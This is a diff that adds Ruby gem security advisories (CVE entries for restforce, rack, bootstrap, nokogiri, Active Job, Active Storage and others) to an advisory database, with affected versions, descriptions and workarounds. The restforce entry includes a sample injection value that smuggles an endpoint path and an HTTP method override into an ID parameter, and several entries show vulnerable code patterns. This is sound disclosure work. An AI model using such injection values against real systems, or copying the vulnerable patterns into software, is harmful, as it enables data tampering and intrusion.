+    the public OAuth client as if it was a confidential app. Because of this, the
+    token is never revoked.
+
+    The impact of this is the access or refresh token is not revoked, leaking
+    access to protected resources for the remainder of that token's lifetime.
+
+    If Doorkeeper is used to facilitate public OAuth apps and leverage token
+    revocation functionality, upgrade to the patched versions immediately.
+
+    Credit to Roberto Ostinelli for discovery, Justin Bull for the fixes.
+
+    DWF has assigned CVE-2018-1000211.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.2.0"
+  patched_versions:
+  - ">= 4.4.0"
+  - ">= 5.0.0.rc2"
+  related:
+    url:
+    - https://github.com/doorkeeper-gem/doorkeeper/issues/891
+    - https://github.com/doorkeeper-gem/doorkeeper/pull/1119
+    - https://github.com/doorkeeper-gem/doorkeeper/pull/1120
+---
diff --git a/advisories/_posts/2018-07-26-CVE-2018-3721.md b/advisories/_posts/2018-07-26-CVE-2018-3721.md
new file mode 100644
index 00000000..f039a799
--- /dev/null
+++ b/advisories/_posts/2018-07-26-CVE-2018-3721.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2018-3721 (lodash-rails): Prototype Pollution in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2018-3721
+  ghsa: fvqr-27wr-82fm
+  url: https://github.com/advisories/GHSA-fvqr-27wr-82fm
+  title: Prototype Pollution in lodash
+  date: 2018-07-26
+  description: |
+    Versions of `lodash` before 4.17.5 are vulnerable to
+    prototype pollution.
+
+    The vulnerable functions are 'defaultsDeep', 'merge', and
+    'mergeWith' which allow a malicious user to modify the
+    prototype of `Object` via `__proto__` causing the addition
+    or modification of an existing property that will exist
+    on all objects.
+
+    ## Recommendation
+
+    Update to version 4.17.5 or later."
+  cvss_v2: 4.0
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 4.17.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-3721
+    - https://hackerone.com/reports/310443
+    - https://www.npmjs.com/advisories/577
+    - https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a
+    - https://security.netapp.com/advisory/ntap-20190919-0004
+    - https://github.com/advisories/GHSA-fvqr-27wr-82fm
+---
diff --git a/advisories/_posts/2018-07-27-CVE-2018-3777.md b/advisories/_posts/2018-07-27-CVE-2018-3777.md
new file mode 100644
index 00000000..faa9e084
--- /dev/null
+++ b/advisories/_posts/2018-07-27-CVE-2018-3777.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-3777 (restforce): Insufficient URI encoding in restforce'
+comments: false
+categories:
+- restforce
+advisory:
+  gem: restforce
+  cve: 2018-3777
+  ghsa: 534w-937m-v7x3
+  url: https://github.com/restforce/restforce/pull/392
+  title: Insufficient URI encoding in restforce
+  date: 2018-07-27
+  description: |
+    A flaw in how restforce constructs URL's may allow an attacker to inject
+    additional parameters into Salesforce API requests.
+
+    Impact
+    ------
+    This flaw is only exploitable in applications that pass user input directly
+    to restforce's select, find, describe, update, upsert, and destroy methods.
+    Vulnerable code might look like:
+
+    ```ruby
+    client.select('SomeSalesForceObject', params[:some-id],
+       ...)
+    ```
+
+    In such an application, attackers could pass `0016000000MRatd/describe`
+    as a request parameter, causing the server to make a request to a different
+    endpoint than the server is designed to handle. Since the Salesforce REST
+    API supports overriding HTTP methods via a request parameter, an attacker
+    could also cause the client's `select()` method to modify data, by passing
+    `0016000000MRatd/?_HttpMethod=PATCH&other-query-params=...`.
+
+    Workarounds
+    ------
+    If possible, applications should track salesforce IDs internally, rather than
+    passing user-supplied IDs to salesforce. Such practice mitigates this
+    vulnerability, and in general is desirable for ensuring strong access control.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 2.5.4"
+  - ">= 3.0.0"
+---
diff --git a/advisories/_posts/2018-08-09-CVE-2018-3779.md b/advisories/_posts/2018-08-09-CVE-2018-3779.md
new file mode 100644
index 00000000..b71dbc05
--- /dev/null
+++ b/advisories/_posts/2018-08-09-CVE-2018-3779.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2018-3779 (active-support): Malicious ruby gem - active-support'
+comments: false
+categories:
+- active-support
+advisory:
+  gem: active-support
+  cve: 2018-3779
+  ghsa: 2j55-pcw5-x4h2
+  url: https://hackerone.com/reports/392311
+  title: Malicious ruby gem - active-support
+  date: 2018-08-09
+  description: |
+    The gem duplicates official `activesupport` (no hyphen) code, but adds a
+    compiled extension. The extension attempts to resolve a base64 encoded
+    domain, downloads a payload, and executes.
+
+    Replace this gem with the official `activesupport` gem.
+  related:
+    url:
+    - https://github.com/rubygems/rubygems.org/pull/1762
+---
diff --git a/advisories/_posts/2018-09-13-CVE-2018-14041.md b/advisories/_posts/2018-09-13-CVE-2018-14041.md
new file mode 100644
index 00000000..f01f5bbd
--- /dev/null
+++ b/advisories/_posts/2018-09-13-CVE-2018-14041.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2018-14041 (bootstrap): Bootstrap vulnerable to Cross-Site Scripting (XSS)'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2018-14041
+  ghsa: 3wqf-4x89-9g79
+  url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2
+  title: Bootstrap vulnerable to Cross-Site Scripting (XSS)
+  date: 2018-09-13
+  description: |
+    In Bootstrap before 4.1.2, XSS is possible in the collapse
+    data-parent attribute.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.1.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-14040
+    - https://github.com/twbs/bootstrap/issues/26625
+    - https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2
+    - https://github.com/twbs/bootstrap/issues/26423
+    - https://github.com/twbs/bootstrap/issues/26628
+    - https://github.com/twbs/bootstrap/pull/26630
+    - https://github.com/twbs/bootstrap/commit/149096016f70fd815540d62c0989fd99cdc809e0
+    - https://github.com/twbs/bootstrap/blob/v3.4.1/js/collapse.js#L140
+    - https://lists.debian.org/debian-lts-announce/2018/08/msg00027.html
+    - https://seclists.org/bugtraq/2019/May/18
+    - https://www.oracle.com/security-alerts/cpuApr2021.html
+    - https://www.tenable.com/security/tns-2021-14
+    - https://github.com/advisories/GHSA-3wqf-4x89-9g79
+---
diff --git a/advisories/_posts/2018-09-13-CVE-2018-14042.md b/advisories/_posts/2018-09-13-CVE-2018-14042.md
new file mode 100644
index 00000000..63035f16
--- /dev/null
+++ b/advisories/_posts/2018-09-13-CVE-2018-14042.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-14042 (bootstrap): Bootstrap Cross-site Scripting vulnerability'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2018-14042
+  ghsa: 7mvr-5x2g-wfc8
+  url: https://github.com/twbs/bootstrap/issues/26423
+  title: Bootstrap Cross-site Scripting vulnerability
+  date: 2018-09-13
+  description: |
+    In Bootstrap before 4.1.2, XSS is possible in the data-container property
+    of tooltip.  This is similar to CVE-2018-14041.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.1.2"
+  related:
+    cve:
+    - 2018-14041
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-14042
+    - https://github.com/twbs/bootstrap/issues/26423
+    - https://github.com/twbs/bootstrap/issues/26628
+    - https://github.com/twbs/bootstrap/pull/26630
+    - https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/
+    - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@
+    - https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e@
+    - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@
+    - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@
+    - https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714@
+    - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@
+    - https://seclists.org/bugtraq/2019/May/18
+    - https://www.oracle.com/security-alerts/cpuApr2021.html
+    - http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html
+    - http://seclists.org/fulldisclosure/2019/May/10
+    - http://seclists.org/fulldisclosure/2019/May/11
+    - http://seclists.org/fulldisclosure/2019/May/13
+    - https://github.com/advisories/GHSA-7mvr-5x2g-wfc8
+    - https://github.com/twbs/bootstrap/issues/26428
+    - https://github.com/twbs/bootstrap/commit/2d90d369bbc2bd2647620246c55cec8c4705e3d0
+    - https://www.tenable.com/security/tns-2021-14
+---
diff --git a/advisories/_posts/2018-09-14-CVE-2018-14643.md b/advisories/_posts/2018-09-14-CVE-2018-14643.md
new file mode 100644
index 00000000..7c4da9b8
--- /dev/null
+++ b/advisories/_posts/2018-09-14-CVE-2018-14643.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2018-14643 (smart_proxy_dynflow): smart_proxy_dynflow gem authentication
+  bypass in Foreman remote execution feature'
+comments: false
+categories:
+- smart_proxy_dynflow
+advisory:
+  gem: smart_proxy_dynflow
+  cve: 2018-14643
+  ghsa: gx5g-xcxj-cx2w
+  url: https://github.com/theforeman/smart_proxy_dynflow/pull/54
+  title: smart_proxy_dynflow gem authentication bypass in Foreman remote execution
+    feature
+  date: 2018-09-14
+  description: |
+    An authentication bypass flaw was found in the smart_proxy_dynflow component
+    used by Foreman. A malicious attacker can use this flaw to remotely execute arbitrary
+    commands on machines managed by vulnerable Foreman instances, in a highly privileged
+    context.
+  cvss_v2: 10.0
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 0.1.11"
+  - ">= 0.2.1"
+---
diff --git a/advisories/_posts/2018-09-28-CVE-2018-17567.md b/advisories/_posts/2018-09-28-CVE-2018-17567.md
new file mode 100644
index 00000000..fdb79f14
--- /dev/null
+++ b/advisories/_posts/2018-09-28-CVE-2018-17567.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2018-17567 (jekyll): Jekyll _config.yml privilege escalation'
+comments: false
+categories:
+- jekyll
+advisory:
+  gem: jekyll
+  cve: 2018-17567
+  ghsa: 4xjh-m3qx-49wc
+  url: https://jekyllrb.com/news/2018/09/19/security-fixes-for-3-6-3-7-3-8/
+  title: Jekyll _config.yml privilege escalation
+  date: 2018-09-28
+  description: |
+    Jekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows
+    attackers to access arbitrary files by specifying a symlink in the "include" key
+    in the "_config.yml" file.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 3.6.3"
+  - "~> 3.7.4"
+  - ">= 3.8.4"
+---
diff --git a/advisories/_posts/2018-10-04-CVE-2018-14404.md b/advisories/_posts/2018-10-04-CVE-2018-14404.md
new file mode 100644
index 00000000..4ff20be4
--- /dev/null
+++ b/advisories/_posts/2018-10-04-CVE-2018-14404.md
@@ -0,0 +1,78 @@
+---
+layout: advisory
+title: 'CVE-2018-14404 (nokogiri): Nokogiri gem, via libxml2, is affected by multiple
+  vulnerabilities'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2018-14404
+  ghsa: 6qvp-r6r3-9p7h
+  url: https://github.com/sparklemotion/nokogiri/issues/1785
+  title: Nokogiri gem, via libxml2, is affected by multiple vulnerabilities
+  date: 2018-10-04
+  description: |
+    Nokogiri 1.8.5 has been released.
+
+    This is a security and bugfix release. It addresses two CVEs in upstream
+    libxml2 rated as "medium" by Red Hat, for which details are below.
+
+    If you're using your distro's system libraries, rather than Nokogiri's
+    vendored libraries, there's no security need to upgrade at this time,
+    though you may want to check with your distro whether they've patched this
+    (Canonical has patched Ubuntu packages). Note that these patches are not
+    yet (as of 2018-10-04) in an upstream release of libxml2.
+
+    Full details about the security update are available in Github Issue #1785.
+    [#1785]: https://github.com/sparklemotion/nokogiri/issues/1785
+
+    -----
+
+    [MRI] Pulled in upstream patches from libxml2 that address CVE-2018-14404
+    and CVE-2018-14567. Full details are available in #1785. Note that these
+    patches are not yet (as of 2018-10-04) in an upstream release of libxml2.
+
+    -----
+
+    CVE-2018-14404
+
+    Permalink:
+
+    https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14404.html
+
+    Description:
+
+    A NULL pointer dereference vulnerability exists in the
+    xpath.c:xmlXPathCompOpEval() function of libxml2 through 2.9.8 when
+    parsing an invalid XPath expression in the XPATH_OP_AND or XPATH_OP_OR
+    case. Applications processing untrusted XSL format inputs with the use of
+    the libxml2 library may be vulnerable to a denial of service attack due
+    to a crash of the application
+
+    Canonical rates this vulnerability as "Priority: Medium"
+
+    -----
+
+    CVE-2018-14567
+
+    Permalink:
+
+    https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14567.html
+
+    Description:
+
+    infinite loop in LZMA decompression
+
+    Canonical rates this vulnerability as "Priority: Medium"
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.8.5"
+  related:
+    cve:
+    - 2018-14567
+    url:
+    - https://groups.google.com/forum/#!msg/ruby-security-ann/uVrmO2HjqQw/Fw3ocLI0BQAJ
+    - https://gitlab.gnome.org/GNOME/libxml2/commit/a436374994c47b12d5de1b8b1d191a098fa23594
+    - https://gitlab.gnome.org/GNOME/libxml2/commit/2240fbf5912054af025fb6e01e26375100275e74
+---
diff --git a/advisories/_posts/2018-10-17-CVE-2018-16395.md b/advisories/_posts/2018-10-17-CVE-2018-16395.md
new file mode 100644
index 00000000..5b6d452e
--- /dev/null
+++ b/advisories/_posts/2018-10-17-CVE-2018-16395.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2018-16395 (openssl): Incorrect value comparison in Ruby openssl'
+comments: false
+categories:
+- openssl
+advisory:
+  gem: openssl
+  cve: 2018-16395
+  ghsa: mmrq-6999-72v8
+  url: https://www.ruby-lang.org/en/news/2018/10/17/openssl-x509-name-equality-check-does-not-work-correctly-cve-2018-16395/
+  title: Incorrect value comparison in Ruby openssl
+  date: 2018-10-17
+  description: |
+    An issue was discovered in the OpenSSL library in Ruby when two OpenSSL::X509::Name
+    objects are compared using ==, depending on the ordering, non-equal objects may
+    return true. When the first argument is one character longer than the second, or
+    the second argument contains a character that is one less than a character in the
+    same position of the first argument, the result of == will be true. This could be
+    leveraged to create an illegitimate certificate that may be accepted as legitimate
+    and then used in signing or encryption operations.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.1.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-16395
+    - https://www.ruby-lang.org/en/news/2018/10/17/openssl-x509-name-equality-check-does-not-work-correctly-cve-2018-16395/
+    - https://hackerone.com/reports/387250
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2018:3738
+    - https://access.redhat.com/errata/RHSA-2019:1948
+    - https://access.redhat.com/errata/RHSA-2019:2565
+    - https://lists.debian.org/debian-lts-announce/2018/10/msg00020.html
+    - https://security.netapp.com/advisory/ntap-20190221-0002/
+    - https://usn.ubuntu.com/3808-1/
+    - https://www.debian.org/security/2018/dsa-4332
+    - https://www.oracle.com/security-alerts/cpujan2020.html
+    - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-3-8-released/
+    - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-4-5-released/
+    - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-5-2-released/
+    - https://www.ruby-lang.org/en/news/2018/11/06/ruby-2-6-0-preview3-released/
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - http://www.securitytracker.com/id/1042105
+    - https://github.com/ruby/openssl/commit/f653cfa43f0f20e8c440122ea982382b6228e7f5
+    - https://github.com/advisories/GHSA-mmrq-6999-72v8
+---
diff --git a/advisories/_posts/2018-10-19-CVE-2018-18476.md b/advisories/_posts/2018-10-19-CVE-2018-18476.md
new file mode 100644
index 00000000..2b5e4170
--- /dev/null
+++ b/advisories/_posts/2018-10-19-CVE-2018-18476.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2018-18476 (mysql-binuuid-rails): mysql-binuuid-rails allows SQL Injection
+  by removing default string escaping'
+comments: false
+categories:
+- mysql-binuuid-rails
+advisory:
+  gem: mysql-binuuid-rails
+  cve: 2018-18476
+  ghsa: 6j63-35hj-vmcg
+  url: https://gist.github.com/viraptor/881276ea61e8d56bac6e28454c79f1e6
+  title: mysql-binuuid-rails allows SQL Injection by removing default string escaping
+  date: 2018-10-19
+  description: |
+    mysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes
+    default string escaping for affected database columns. ActiveRecord does not
+    explicitly escape the Binary data type (Type::Binary::Data) for mysql.
+    mysql-binuuid-rails uses a data type that is derived from the base Binary
+    type, except, it doesn’t convert the value to hex. Instead, it assumes the
+    string value provided is a valid hex string and doesn’t do any checks on it.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.1.1"
+  related:
+    url:
+    - https://github.com/nedap/mysql-binuuid-rails/pull/18
+---
diff --git a/advisories/_posts/2018-10-27-CVE-2018-1000842.md b/advisories/_posts/2018-10-27-CVE-2018-1000842.md
new file mode 100644
index 00000000..22b30788
--- /dev/null
+++ b/advisories/_posts/2018-10-27-CVE-2018-1000842.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2018-1000842 (fat_free_crm): fat_free_crm gem XSS vulnerability via query
+  parameter'
+comments: false
+categories:
+- fat_free_crm
+advisory:
+  gem: fat_free_crm
+  cve: 2018-1000842
+  ghsa: j5rj-g695-342r
+  url: https://github.com/fatfreecrm/fat_free_crm/wiki/XSS-Vulnerability-%282018-10-27%29
+  title: fat_free_crm gem XSS vulnerability via query parameter
+  date: 2018-10-27
+  description: |
+    FatFreeCRM version <=0.14.1, >=0.15.0 <=0.15.1, >=0.16.0 <=0.16.3, >=0.17.0
+    <=0.17.2, ==0.18.0 contains a Cross Site Scripting (XSS) vulnerability in commit
+    6d60bc8ed010c4eda05d6645c64849f415f68d65 that can result in Javascript execution.
+    This attack appear to be exploitable via Content with Javascript payload will be
+    executed on end user browsers when they visit the page. This vulnerability appears
+    to have been fixed in 0.18.1, 0.17.3, 0.16.4, 0.15.2, 0.14.2.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.18.1"
+  - "~> 0.17.3"
+  - "~> 0.16.4"
+  - "~> 0.15.2"
+  - "~> 0.14.2"
+---
diff --git a/advisories/_posts/2018-10-30-CVE-2018-16468.md b/advisories/_posts/2018-10-30-CVE-2018-16468.md
new file mode 100644
index 00000000..948eb62d
--- /dev/null
+++ b/advisories/_posts/2018-10-30-CVE-2018-16468.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2018-16468 (loofah): Loofah XSS Vulnerability'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2018-16468
+  ghsa: g4xq-jx4w-4cjv
+  url: https://github.com/flavorjones/loofah/issues/154
+  title: Loofah XSS Vulnerability
+  date: 2018-10-30
+  description: |
+    In the Loofah gem, through v2.2.2, unsanitized JavaScript may occur in
+    sanitized output when a crafted SVG element is republished.
+  cvss_v3: 6.4
+  patched_versions:
+  - ">= 2.2.3"
+  related:
+    url:
+    - https://hackerone.com/reports/429267
+---
diff --git a/advisories/_posts/2018-11-05-CVE-2018-16470.md b/advisories/_posts/2018-11-05-CVE-2018-16470.md
new file mode 100644
index 00000000..185b1c23
--- /dev/null
+++ b/advisories/_posts/2018-11-05-CVE-2018-16470.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'CVE-2018-16470 (rack): Possible DoS vulnerability in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2018-16470
+  ghsa: hg78-4f6x-99wq
+  url: https://groups.google.com/forum/#!topic/ruby-security-ann/Dz4sRl-ktKk
+  title: Possible DoS vulnerability in Rack
+  date: 2018-11-05
+  description: |
+    There is a possible DoS vulnerability in the multipart parser in Rack. This
+    vulnerability has been assigned the CVE identifier CVE-2018-16470.
+
+    Versions Affected:  2.0.4, 2.0.5
+    Not affected:       <= 2.0.3
+    Fixed Versions:     2.0.6
+
+    Impact
+    ------
+    There is a possible DoS vulnerability in the multipart parser in Rack.
+    Carefully crafted requests can cause the multipart parser to enter a
+    pathological state, causing the parser to use CPU resources disproportionate to
+    the request size.
+
+    Impacted code can look something like this:
+
+    ```
+    Rack::Request.new(env).params
+    ```
+
+    But any code that uses the multi-part parser may be vulnerable.
+
+    Rack users that have manually adjusted the buffer size in the multipart parser
+    may be vulnerable as well.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The 2.0.6 release is available at the normal locations.
+
+    Workarounds
+    -----------
+    To work around this issue, the following code can be used:
+
+    ```
+    require "rack/multipart/parser"
+
+    Rack::Multipart::Parser.send :remove_const, :BUFSIZE
+    Rack::Multipart::Parser.const_set :BUFSIZE, 16384
+    ```
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "<= 2.0.3"
+  patched_versions:
+  - ">= 2.0.6"
+---
diff --git a/advisories/_posts/2018-11-05-CVE-2018-16471.md b/advisories/_posts/2018-11-05-CVE-2018-16471.md
new file mode 100644
index 00000000..1adb3471
--- /dev/null
+++ b/advisories/_posts/2018-11-05-CVE-2018-16471.md
@@ -0,0 +1,87 @@
+---
+layout: advisory
+title: 'CVE-2018-16471 (rack): Possible XSS vulnerability in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2018-16471
+  ghsa: 5r2p-j47h-mhpg
+  url: https://groups.google.com/forum/#!topic/ruby-security-ann/NAalCee8n6o
+  title: Possible XSS vulnerability in Rack
+  date: 2018-11-05
+  description: |
+    There is a possible vulnerability in Rack. This vulnerability has been
+    assigned the CVE identifier CVE-2018-16471.
+
+    Versions Affected:  All.
+    Not affected:       None.
+    Fixed Versions:     2.0.6, 1.6.11
+
+    Impact
+    ------
+    There is a possible XSS vulnerability in Rack.  Carefully crafted requests can
+    impact the data returned by the `scheme` method on `Rack::Request`.
+    Applications that expect the scheme to be limited to "http" or "https" and do
+    not escape the return value could be vulnerable to an XSS attack.
+
+    Vulnerable code looks something like this:
+
+    ```
+    <%= request.scheme.html_safe %>
+    ```
+
+    Note that applications using the normal escaping mechanisms provided by Rails
+    may not impacted, but applications that bypass the escaping mechanisms, or do
+    not use them may be vulnerable.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The 2.0.6 and 1.6.11 releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    The following monkey patch can be applied to work around this issue:
+
+    ```
+    require "rack"
+    require "rack/request"
+
+    class Rack::Request
+    SCHEME_WHITELIST = %w(https http).freeze
+
+    def scheme
+      if get_header(Rack::HTTPS) == 'on'
+        'https'
+      elsif get_header(HTTP_X_FORWARDED_SSL) == 'on'
+        'https'
+      elsif forwarded_scheme
+        forwarded_scheme
+      else
+        get_header(Rack::RACK_URL_SCHEME)
+      end
+    end
+
+    def forwarded_scheme
+      scheme_headers = [
+        get_header(HTTP_X_FORWARDED_SCHEME),
+        get_header(HTTP_X_FORWARDED_PROTO).to_s.split(',')[0]
+      ]
+
+      scheme_headers.each do |header|
+        return header if SCHEME_WHITELIST.include?(header)
+      end
+
+      nil
+    end
+    end
+    ```
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 1.6.11"
+  - ">= 2.0.6"
+---
diff --git a/advisories/_posts/2018-11-09-CVE-2018-1000855.md b/advisories/_posts/2018-11-09-CVE-2018-1000855.md
new file mode 100644
index 00000000..3a4253c3
--- /dev/null
+++ b/advisories/_posts/2018-11-09-CVE-2018-1000855.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2018-1000855 (easymon): Reflected XSS in Firefox in check endpoint'
+comments: false
+categories:
+- easymon
+advisory:
+  gem: easymon
+  cve: 2018-1000855
+  ghsa: c289-47qf-rvrr
+  url: https://github.com/basecamp/easymon/issues/26
+  title: Reflected XSS in Firefox in check endpoint
+  date: 2018-11-09
+  description: |
+    When passing an invalid check name as parameter to the endpoint where
+    the easymon routes are mounted, a 406 response with a body that contains the invalid
+    check name unescaped is returned. Malicious JavaScript can be injected into that
+    invalid name and have it executed in Firefox
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.1"
+  related:
+    url:
+    - https://github.com/basecamp/easymon/pull/25
+---
diff --git a/advisories/_posts/2018-11-27-CVE-2018-16476.md b/advisories/_posts/2018-11-27-CVE-2018-16476.md
new file mode 100644
index 00000000..55a163fb
--- /dev/null
+++ b/advisories/_posts/2018-11-27-CVE-2018-16476.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-16476 (activejob): Broken Access Control vulnerability in Active
+  Job'
+comments: false
+categories:
+- activejob
+- rails
+advisory:
+  gem: activejob
+  framework: rails
+  cve: 2018-16476
+  ghsa: q2qw-rmrh-vv42
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/FL4dSdzr2zw
+  title: Broken Access Control vulnerability in Active Job
+  date: 2018-11-27
+  description: |
+    There is a vulnerability in Active Job. This vulnerability has been
+    assigned the CVE identifier CVE-2018-16476.
+
+    Versions Affected: >= 4.2.0
+    Not affected: < 4.2.0
+    Fixed Versions: 4.2.11, 5.0.7.1, 5.1.6.1, 5.2.1.1
+
+    Impact
+    ------
+    Carefully crafted user input can cause Active Job to deserialize it using GlobalId
+    and allow an attacker to have access to information that they should not have.
+
+    Vulnerable code will look something like this:
+
+        MyJob.perform_later(user_input)
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.2.0"
+  patched_versions:
+  - "~> 4.2.11"
+  - "~> 5.0.7.1"
+  - "~> 5.1.6.1"
+  - "~> 5.1.7"
+  - ">= 5.2.1.1"
+---
diff --git a/advisories/_posts/2018-11-27-CVE-2018-16477.md b/advisories/_posts/2018-11-27-CVE-2018-16477.md
new file mode 100644
index 00000000..72f859a5
--- /dev/null
+++ b/advisories/_posts/2018-11-27-CVE-2018-16477.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2018-16477 (activestorage): Bypass vulnerability in Active Storage'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+  gem: activestorage
+  framework: rails
+  cve: 2018-16477
+  ghsa: 7rr7-rcjw-56vj
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/3KQRnXDIuLg
+  title: Bypass vulnerability in Active Storage
+  date: 2018-11-27
+  description: |
+    There is a vulnerability in Active Storage. This vulnerability has been
+    assigned the CVE identifier CVE-2018-16477.
+
+    Versions Affected:  >= 5.2.0
+    Not affected:       < 5.2.0
+    Fixed Versions:     5.2.1.1
+
+    Impact
+    ------
+    Signed download URLs generated by `ActiveStorage` for Google Cloud Storage
+    service and Disk service include `content-disposition` and `content-type`
+    parameters that an attacker can modify. This can be used to upload specially
+    crafted HTML files and have them served and executed inline. Combined with
+    other techniques such as cookie bombing and specially crafted AppCache manifests,
+    an attacker can gain access to private signed URLs within a specific storage path.
+
+    Vulnerable apps are those using either GCS or the Disk service in production.
+    Other storage services such as S3 or Azure aren't affected.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately. For those using GCS, it's also recommended to run the
+    following to update existing blobs:
+
+    ```
+    ActiveStorage::Blob.find_each do |blob|
+      blob.send :update_service_metadata
+    end
+    ```
+  cvss_v3: 6.5
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - ">= 5.2.1.1"
+---
diff --git a/advisories/_posts/2019-01-17-CVE-2018-20676.md b/advisories/_posts/2019-01-17-CVE-2018-20676.md
new file mode 100644
index 00000000..b123a970
--- /dev/null
+++ b/advisories/_posts/2019-01-17-CVE-2018-20676.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2018-20676 (bootstrap): XSS vulnerability that affects bootstrap'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2018-20676
+  ghsa: 3mgp-fx93-9xv5
+  url: https://github.com/advisories/GHSA-3mgp-fx93-9xv5
+  title: XSS vulnerability that affects bootstrap
+  date: 2019-01-17
+  description: |
+    In Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport
+    attribute.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 3.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-20676
+    - https://github.com/twbs/bootstrap/issues/27044
+    - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452140906
+    - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452196628
+    - https://github.com/twbs/bootstrap/pull/27047
+    - https://access.redhat.com/errata/RHBA-2019:1076
+    - https://access.redhat.com/errata/RHBA-2019:1570
+    - https://access.redhat.com/errata/RHSA-2019:1456
+    - https://access.redhat.com/errata/RHSA-2019:3023
+    - https://access.redhat.com/errata/RHSA-2020:0132
+    - https://access.redhat.com/errata/RHSA-2020:0133
+    - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@
+    - https://github.com/twbs/bootstrap/commit/2a5ba23ce8f041f3548317acc992ed8a736b609d
